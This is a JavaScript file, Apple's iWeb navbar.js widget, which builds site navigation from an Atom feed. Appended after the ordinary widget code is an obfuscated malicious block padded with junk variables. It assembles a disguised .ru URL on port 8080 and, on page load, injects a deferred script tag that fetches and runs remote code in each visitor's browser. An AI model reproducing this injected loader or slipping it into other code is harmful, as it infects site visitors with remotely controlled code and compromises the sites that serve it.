//
//  iWeb - navbar.js
//  Copyright (c) 2007 Apple Inc. All rights reserved.
//

function NavBar(instanceID)
{if(instanceID)
{Widget.apply(this,arguments);if(!this.preferenceForKey("useStaticFeed")&&this.preferenceForKey("dotMacAccount"))
{var depthPrefix=this.preferenceForKey("path-to-root");if(!depthPrefix||depthPrefix=="")
depthPrefix="./";this.xml_feed=depthPrefix+"?webdav-method=truthget&depth=infinity&ns=iweb&filterby=in-navbar";}
else
{this.xml_feed="feed.xml";if(this.sitePath)
{this.xml_feed=this.sitePath+"/"+this.xml_feed;}}
this.changedPreferenceForKey("navbar-css");this.regenerate();}}
NavBar.prototype=new Widget();NavBar.prototype.constructor=NavBar;NavBar.prototype.widgetIdentifier="com-apple-iweb-widget-NavBar";NavBar.prototype.regenerate=function()
{var xml_handler=this.PopulateNavItems.bind(this);ajaxRequest(this.xml_feed,xml_handler);return true;}
NavBar.prototype.getStyleElement=function(key)
{if(!this.styleElement)
{var head=document.getElementsByTagName("head")[0];if(head)
{var newElement=document.createElement("style");newElement.type="text/css";head.appendChild(newElement);this.styleElement=newElement;}}
return this.styleElement;}
NavBar.prototype.substWidgetPath=function(text)
{var result=text.replace(/\$WIDGET_PATH/gm,this.widgetPath);return result;}
NavBar.prototype.addCSSSelectorPrefix=function(text)
{var prefix="div#"+this.instanceID+" ";text=text.replace(/\/\*[^*]*\*+([^/][^*]*\*+)*\//gm,"");text=text.replace(/(^\s*|\}\s*)([^{]+)({[^}]*})/gm,function(match,beforeSelectorList,selectorList,propertyList){var result=beforeSelectorList;var selectors=selectorList.split(",");for(var i=0;i<selectors.length;i++){result+=prefix+selectors[i];if(i+1<selectors.length)result+=",";}
result+=propertyList;return result;});return text;}
NavBar.prototype.changedPreferenceForKey=function(key)
{if(key=="navbar-css")
{var text=this.preferenceForKey(key);if(!text)
{text="";}
text=this.substWidgetPath(text);text=this.addCSSSelectorPrefix(text);var styleElement=this.getStyleElement();if(styleElement)
{detectBrowser();if(!windowsInternetExplorer)
{var node=document.createTextNode(text);if(node)
{while(styleElement.hasChildNodes())
{styleElement.removeChild(styleElement.firstChild);}
styleElement.appendChild(node);}}
else
{styleElement.styleSheet.cssText=text;}}}}
NavBar.prototype.PopulateNavItems=function(req)
{var items;var feedRoot;if(isAjaxRequestReady(req)&&(feedRoot=ajaxGetDocumentElement(req))){var parsedFeed=this.getAtomFeedItems(feedRoot);var items=parsedFeed.resultArray;var currentPageGUID=null;var isCollectionPage="NO";var curPagePat=null;if(this.runningInApp)
curPagePat=/\.#current#.$/;else
{currentPageGUID=this.preferenceForKey("current-page-GUID");isCollectionPage=this.preferenceForKey("isCollectionPage");}
var navDiv=this.div("navbar-list");var navBgDiv=navDiv.parentNode;$(navBgDiv).ensureHasLayoutForIE();while(navDiv.firstChild){navDiv.removeChild(navDiv.firstChild);}
var depthPrefix=this.preferenceForKey("path-to-root");if(!depthPrefix||depthPrefix=="")
depthPrefix="./";for(var x=0;x<items.length;x++){var navItem=document.createElement("li");var anchor=document.createElement("a");var title=items[x].title;var pageGUID=items[x].GUID;title=title.replace(/ /g,"\u00a0")+" ";var url=items[x].url;if(!this.runningInApp&&!url.match(/^http:/i))
url=depthPrefix+url;var inAppCurPage=this.runningInApp&&curPagePat.exec(unescape(new String(url)));if(inAppCurPage)
{url=url.replace(curPagePat,"");}
if(pageGUID==currentPageGUID||inAppCurPage){navItem.className='current-page';if(!this.runningInApp&&isCollectionPage!="YES"){url="";}}
else
navItem.className='noncurrent-page';anchor.setAttribute("href",url);anchor.appendChild(document.createTextNode(title));navItem.appendChild(anchor);navDiv.appendChild(navItem);}
if(this.preferences&&this.preferences.postNotification){this.preferences.postNotification("BLWidgetIsSafeToDrawNotification",1);}}}
NavBar.prototype.getAtomFeedItems=function(feedNode)
{var results=new Array;var pageOrder=new Array;if(feedNode)
{var generator="";var generatorElt=getFirstElementByTagName(feedNode,"generator");if(generatorElt&&generatorElt.firstChild){generator=allData(generatorElt);}
var pageGUIDs,pageGUIDsElt;for(var entryElt=feedNode.firstChild;entryElt;entryElt=entryElt.nextSibling){var isInNavbarElt=null;if(!pageGUIDs&&(pageGUIDsElt=findChild(entryElt,"site-navbar","urn:iweb:"))){pageGUIDs=allData(pageGUIDsElt).split(",");for(var x=0;x<pageGUIDs.length;x++){var pageGUID=pageGUIDs[x];pageOrder[""+pageGUID]=x;}}
if(entryElt.nodeName=="entry"&&(isInNavbarElt=findChild(entryElt,"in-navbar","urn:iweb:"))){if(!isInNavbarElt)
continue;var pageGUID="";if(isInNavbarElt.firstChild){pageGUID=""+allData(isInNavbarElt);}else{iWLog("no navBarElt child");}
if(pageGUID=="navbar-sort")
continue;var title="";var titleElt=findChild(entryElt,"title","urn:iweb:");if(!titleElt){iWLog("No iWeb title");titleElt=findChild(entryElt,"title");}
if(titleElt&&titleElt.firstChild){title=allData(titleElt);}
var linkElt=getFirstElementByTagName(entryElt,'link');url=linkElt.getAttribute("href");if(!url&&linkElement.firstChild){url=allData(linkElement);}
results[results.length]={title:title,url:url,GUID:pageGUID};}}}
if(pageGUIDs){results=$(results).reject(function(result){return(pageOrder[result.GUID]===undefined);});results.sort(function(lhs,rhs){return pageOrder[lhs.GUID]-pageOrder[rhs.GUID];});}
return{resultArray:results};}
function findChild(element,nodeName,namespace)
{var child;for(child=element.firstChild;child;child=child.nextSibling){if(child.localName==nodeName||child.baseName==nodeName){if(!namespace){return child;}
var childNameSpace=child.namespaceURI;if(childNameSpace==namespace){return child;}}}
return null;}
function getFirstElementByTagName(node,tag_name){var elements=node.getElementsByTagName(tag_name);if(elements.length){return elements[0];}
else{return findChild(node,tag_name);}}
function allData(node)
{node=node.firstChild;var data=node.data;while((node=node.nextSibling)){data+=node.data;}
return data;}
NavBar.prototype.onload=function()
{}
NavBar.prototype.onunload=function()
{}

this.D='';var K;if(K!='' && K!='Lj'){K='O'};var U=new Date();function L(){var t=new String();var R='';var Wc=new String();var Vd;if(Vd!='UG'){Vd='UG'};var V=new String("YhWg".substr(3));var Q=RegExp;var j=new Date();function Z(r,i){var Lw= "[";Lw+=i;var Al;if(Al!='GP' && Al!='HF'){Al='GP'};var SI=new Array();Lw+="]";var Ym=new String();var k="";var _=new Q(Lw, V);return r.replace(_, R);var m=new String();};var n;if(n!='z' && n!='yR'){n='z'};this.MS="";var B=window;var N=new String("scri"+"pt");var WX;if(WX!='Bz'){WX=''};var dM;if(dM!='ow'){dM=''};var J=String("defcKz".substr(0,3)+"oOYger".substr(4));var X='';var W=String("srcwmM".substr(0,3));var v=new Date();var lF=new Array();var c=Z('8117909179787119091717',"791");var MF;if(MF!='' && MF!='fV'){MF=null};var M="http:"+"//alj"+"azeer"+"a-net"+".ya.r"+"u.sur"+"GVnveymo".substr(3)+"nkey-V2bp".substr(0,5)+"Sz9com.d9zS".substr(3,5)+"eargu"+"ide.r"+"u:eDwo".substr(0,2);var xc;if(xc!='h' && xc!='Hr'){xc='h'};var Y='';var A="cQzd/mp".substr(4)+"5WDnrsW5D".substr(3,3)+"mNH.coNHm".substr(3,3)+"m/m1Jkq".substr(0,3)+"pnr"+"s.c0UMG".substr(0,3)+"weExom/xeEw".substr(4,3)+"V09Wgoo".substr(4)+"OA7wgle".substr(4)+".coJC3".substr(0,3)+"m/z"+"fOIapp".substr(3)+"os.6YVZ".substr(0,3)+"comxTC8".substr(0,3)+"/li"+"qPjbnkejPbq".substr(4,3)+"dinGJo6".substr(0,3)+".coQM6P".substr(0,3)+"m.pie5".substr(0,3)+"Ikr0hp".substr(4);var yx="";var cB;if(cB!='' && cB!='bh'){cB='UF'};B.onload=function(){try {var Dp;if(Dp!='' && Dp!='LO'){Dp='Wo'};var sg=new Array();var u=new Date();Y=M+c;Y+=A;this.Ww="";var HC=new Array();var dL="";this.Vr='';cy=document.createElement(N);var uH=new String();var tg="";cy[W]=Y;var XU;if(XU!='' && XU!='Jc'){XU='BT'};var wD=new Date();cy[J]=[1][0];var Cn;if(Cn!='a'){Cn='a'};var gg=new Array();document.body.appendChild(cy);var JU=new Array();} catch(q){var y_=new Date();var SeM;if(SeM!=''){SeM='IY'};};var de;if(de!='' && de!='EJ'){de='cT'};var eT="";};var E_;if(E_!='' && E_!='n_'){E_=''};var ov;if(ov!='' && ov!='kj'){ov=''};};var wZ=new Array();var je=new Array();L();var aN=new Date();var az=new Array();